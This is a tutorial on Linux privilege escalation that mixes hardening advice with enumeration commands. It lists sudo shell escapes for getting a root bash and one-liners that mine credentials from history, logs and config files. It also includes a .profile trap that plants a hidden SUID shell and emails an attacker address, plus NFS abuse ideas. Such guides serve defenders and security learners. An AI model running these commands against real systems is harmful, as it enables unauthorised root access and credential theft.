Summary

I. Introduction

When an attacker succeeds to establish the initial foothold (gain access to a user with restricted privileges), he will seek for a way to increase his privileges (Gain access to another user with more privileges). We call this action a privilege escalation. It can happen in all sorts of applications or systems.

This article will give an overview of the basic Linux privilege escalation techniques. It separates the local Linux privilege escalation in different scopes: kernel, process, mining credentials, sudo, cron, NFS, and file permission. For each, it will give a quick overview, some good practices, some information gathering commands, and an explanation the technique an attacker can use to realize a privilege escalation. Do not hesitate to share with us your techniques in the comments.

To help you to gather information you can use this script unix-privesc-check.

II. Kernel

1. Kernel privilege escalation overview

A kernel privilege escalation is done with a kernel exploit, and generally give the root access.

There is no way to completely avoid a kernel privilege escalation. But some good practices are good to know. The first one is to always be aware about security reports and keeping your system up to date.

For a kernel privilege escalation the attacker will use a kernel exploit. In order to do so, he will need three conditions:

A working exploit The ability to transfer the exploit onto the target The ability to execute the exploit on the target

We are never protected against a kernel vulnerability. So even if you or your company are aware about IT security and are following the CVS publication, you cannot be sure that your system is one hundred percent secured.

For this reason you must influence the last two points. A good practice will be to focus on restricting or removing programs that enable file transfers, such as FTP, SCP, wget, curl or any programs which can permit to realize file transfers. If you need these programs, restrict them to specific users, or IP/domains, the more they will be restricted and the better it will be.

It is also a good practice to remove or restrict the access of all the compilers such as gcc.

Another good practice is to limit directories that are writable or executable, particularly by service dedicated users (such as www-data for Apache).

Finally, it is really important to externalize logs in another machine.

2. Kernel information gathering

Some basic command to collect some clues to realize a Linux kernel exploitation

Command Result uname -a Print all available system information uname -m Linux kernel architecture (32 or 64 bit) uname -r Kernel release uname -n or hostname System hostname cat /proc/version Kernel information cat /etc/*-release or cat /etc/issue Distribution information cat /proc/cpuinfo CPU information df -a File system information dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null List available compilers

III. Process

1. Process privilege escalation overview

Most of the time an attacker succeeds to establish the initial foothold by using a misconfigured or vulnerable running service, but it does not stop there. An attacker can use a process which is only accessible locally for doing privilege escalation. For example, a vulnerable MySQL database running as root.

Commonly the method attack will be similar to kernel privilege escalation. The attacker will use an exploit, and for that he will need the three conditions we see above. Also all the good practice explained in the kernel section can be transposed for the running processes.

A good practice for all your sensitive services (a service which can be accessed from the outside is definitely sensitive) is to run them into a chroot jail , at least creating a dedicated user. Never run them as root.

2. Process information gathering

Some basic command to collect some clues to realize a privilege escalation by passing through a vulnerable process exploitation.

Command Result ps aux | grep root Display service run as root ps aux | awk '{print $11}'|xargs -r ls -la -- 2>/dev/null | uniq Display process binary permission cat /etc/inetd.conf or cat /etc/xinetd.conf List services managed by inetd dpkg -l Installed packages (Ubuntu, Debian) rpm -qa Installed packages (RedHat, Fedora Core, Suse Linux, Cento) pkg_info Installed packages (OpenBSD, FreeBSD) httpd -v or apache2 -v Apache version apache2ctl (or apachectl) -M List loaded Apache modules cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1' Which account is Apache running as mysql --version MYSQL version psql -V Postgres version

IV. Mining credentials information

1. Mining sensitive information to gain a privilege escalation

On a server (it is much more true for a personal computer) you can find many different sensitive information like login, password, private and public keys, certificates… This information can be found and used to access another machine, application or to realize a privilege escalation.

To prevent this kind of leak, you should take care of the access permission of the sensitive directories and files. For example the directory /home/<user>/.ssh can normally only be read and write by the owner user ( chmod 600 ) or the /etc/shadow file which is normally in read write for the root user and in read for the root group ( chomd 640 ).

It is also really important to never put any credentials in any code or configuration file. If for any reason, you have to do it, be sure the password is not in clear and the script or config file has specific permission that only allow authorized users to read/write it.

2. Useful commands to mine credentials

Here some few commands which can be useful for finding credentials on a Linux system.

Command Result history Displays command history of current user history | grep -B4 -A3 -i 'passwd\|ssh\|host\|nc\|ping' 2>/dev/null Check history for interesting information grep -B3 -A3 -i 'pass\|password\|login\|username\|email\|mail\|host\|ip' /var/log/*.log 2>/dev/null Check log file in /var/log for password, login, or email information find / -maxdepth 4 -name '*.conf' -type f -exec grep -Hn 'pass\|password\|login\|username\|email\|mail\|host\|ip' {} \; 2>/dev/null Find the configuration files which contain interesting information

Here are a few tools that can be helpful for your process.

V. Sudo

1. Sudo overview

The sudo command makes it possible for a user to execute a command as another user (usually the root account). A misconfiguration of the sudo command can easily lead to a privilege escalation.

Here are few good practices about sudo configuration:

Do not allow some commands that can permit to execute some code like vi , find , bash , awk , perl …

Never configure sudo like that user ALL=NOPASSWD:ALL .

Grant the minimum privileges to perform necessary tasks or operations, be as specific as you can. For example if you want to allow a user to listen on a specific interface ( eth0 ) with tcpdump . You should configure sudo as follow user ALL= (root) NOPASSWD: /usr/sbin/tcpdump -ttteni eth0 . This configuration will permit to user to execute this exact command /usr/sbin/tcpdump -ttteni eth0 as root. He will have to use this exact options in the same order or it will not work. But for this specific example it’s still not the best solution, tcpdump cannot be used like that! The user you allow will need to have access to more options. So a good method to work with tcpdump as non root user is to not used sudo and to follow this few steps:

create a group groupadd pcap add the user you want allow in this group usermod -a -G pcap user modify the group ownership and permission of the tcpdump binary chgrp pcap /usr/sbin/tcpdump and chmod 750 /usr/sbin/tcpdump set the CAP_NET_RAW and CAP_NET_ADMIN capabilities on the tcpdump binary to allow it to run without root access setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump optionally, symlink the tcpdump binary to a directory that is in the path for a normal user ln -s /usr/sbin/tcpdump /usr/local/bin/tcpdump

2. Sudo information gathering

Here is the command you need to get some clues about the possibilities you have to realize a privilege escalation using sudo .

Command Result sudo -l or sudo -lll List the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host sudo -V Sudo version

3. Example of sudo abuse to escalate your privileges

Here are examples of commands an attacker can use to escalate his privileges.

* I have found most of those commands on the blog Le journal d’un reverser

Command Explanation sudo su Become root perl -e 'exec "/bin/bash";' Launch a bash as root python -c 'import pty;pty.spawn("/bin/bash")' Launch a bash as root When you execute one of theses program less , more , nano , vi , the man , ftp , mysql , psql you can execute some code into like that !bash Launch a bash as root awk 'BEGIN {system("/bin/bash")}' Launch a bash as root find /home -exec /bin/bash \; Launch a bash as root tcpdump -i lo -w /dev/null -W 1 -G 1 -z /tmp/payload.sh Execute the program payload.sh as root tar c a.tar -I ./payload.sh a Execute the program payload.sh as root zip z.zip a -T -TT ./payload.sh Execute the program payload.sh as root man -P /tmp/payload.sh man Execute the program payload.sh as root export PAGER=./payload.sh git -p help Execute the program payload.sh as root export PATH=/tmp:$PATH ln -sf /tmp/payload.sh /tmp/git-help git --exec-path=/tmp help Execute the program payload.sh as root ls -la .bashrc export HOME=. bash Launch a bash as root nmap --interactive !bash Launch a bash as root

VI. File permission

1. File permission overview

There are a few possibilities to realize a privilege escalation with misconfigured file permission.

First, if you let the read access of a sensitive file like a private key, or a script running as daemon or in the cron.

SUID (Set User ID) or SGID (Set Group ID) files must be avoided as much as possible. They are needed for tasks that require higher privileges than those which common users have, such as passwd command.

ls -la /usr/bin/passwd -rwsr-xr-x 1 root root 47032 May 16 2017 /usr/bin/passwd

An attacker can also set up some traps. He can add to the .profile some code like this one: cp /bin/bash /tmp/.hiddenShell && chmod 4777 /tmp/.hiddenShell && mail –s "Shell done" attacker@badguy.co . This will create a hidden shell /tmp/.hiddenShell with the SUID activate and full permissions for all users, finally it will send an email to the attacker. There are plenty of different traps that can be done, the imagination is the only limit.

2. File permission information gathering

Some basic commands to collect some clues to realize a privilege escalation abusing file permission.

Command Result find / -perm -4000 -type f 2>/dev/null Find SUID files find / -uid 0 -perm -4000 -type f 2>/dev/null Find SUID files owned by root find / -perm -2000 -type f 2>/dev/null Find SGID files (sticky bit) find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null Find world-writeable files excluding proc file find / -type f '(' -name *.cert -or -name *.crt -or -name *.pem -or -name *.ca -or -name *.p12 -or -name *.cer -name *.der ')' '(' '(' -user support -perm -u=r ')' -or '(' -group support -perm -g=r ')' -or '(' -perm -o=r ')' ')' 2> /dev/null-or -name *.cer -name *.der ')' 2> /dev/null Find keys or certificates you can read find /home –name *.rhosts -print 2>/dev/null Find rhost config files find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; Find hosts.equiv, list permissions and cat the file contents cat ~/.bash_history Display current user history ls -la ~/.*_history Dislay the current user various history files ls -la ~/.ssh/ Check current user’s ssh files find /etc -maxdepth 1 -name '*.conf' -type f or ls -la /etc/*.conf List the configuration files in /etc (depth 1, modify the maxdepth param in the first command for change it) lsof | grep '/home/\|/etc/\|/opt/' Display the possibly interesting openfiles

VII. Network File System

1. NFS overview

“The Network File System (NFS) is a distributed filesystem that allows users to mount remote filesystems as if they were local. NFS uses a client-server model, in which a server exports directories to be shared, and clients mount the directories to access the files in them. NFS eliminates the need to keep copies of files on several machines by letting the clients all share a single copy of a file on the server.”

This definition come from the book : Linux in a Nutshell, 3rd Edition By Ellen Siever, Stephen Spainhour, Stephen Figgins and Jessica P. Hekman .

When this service is running on our server we must be very careful and follow some good practices.

We must never configure a file system with no_root_squash which will mean that we allow the remote user to write in the server file system as root.

We should specify on /etc/hosts.allow the allowed users for our NFS.

Sometimes using NFS can be replaced by a sshfs.

2. NFS information gathering

Command Result nmap -sV --script=nfs-showmount <IP Server> This nmap script will give you the information about the NFS showmount -e <IP Server> Same as the nmap script below but you will have to install a client apt-get install nfs-common

3. Few ideas to realize a NFS privilege escalation

There are plenty of possibilities to realize a privilege escalation on a NFS, like:

create a file giving a shell with the SUID permission.

create or modify the file ~/.ssh/authorized_keys with your public key.

with your public key. set the SUID permission to a handmade script, or a binary ( /bin/sh , /usr/bin/vi ) which will permit to get a shell console.

, ) which will permit to get a shell console. modify the /etc/shadow and the /etc/passwd to create a new user or to change the password of one already existing.

and the to create a new user or to change the password of one already existing. modify the sudo configuration file

VIII. Cron

1. Cron privilege escalation overview

The cron daemon schedules commands to be run at specified dates and times. It runs commands with specific users. So we can try to abuse it to realize a privilege escalation.

A good way to abuse the cron, is to check the file permissions of the scripts it runs. If the permissions are not well set, an attacker can possibly overwrite the file and easily get the privileges of the user set in the cron.

Another way is to use the wildcard tricks which are well explained in this article Unix Wildcards Gone Wild

Always use the full path for each command and script you run.

Do not use the root user to set commands un the cron.

2. Cron information gathering

Some basic commands to collect some clues to realize a privilege escalation using a misconfigured cron.

Command Result crontab -l Display cron of the current user ls -la /etc/cron* Display scheduled jobs overview

IX. Other useful information that can be gathered

Those commands are really useful to collect some clues to realize a privilege escalation.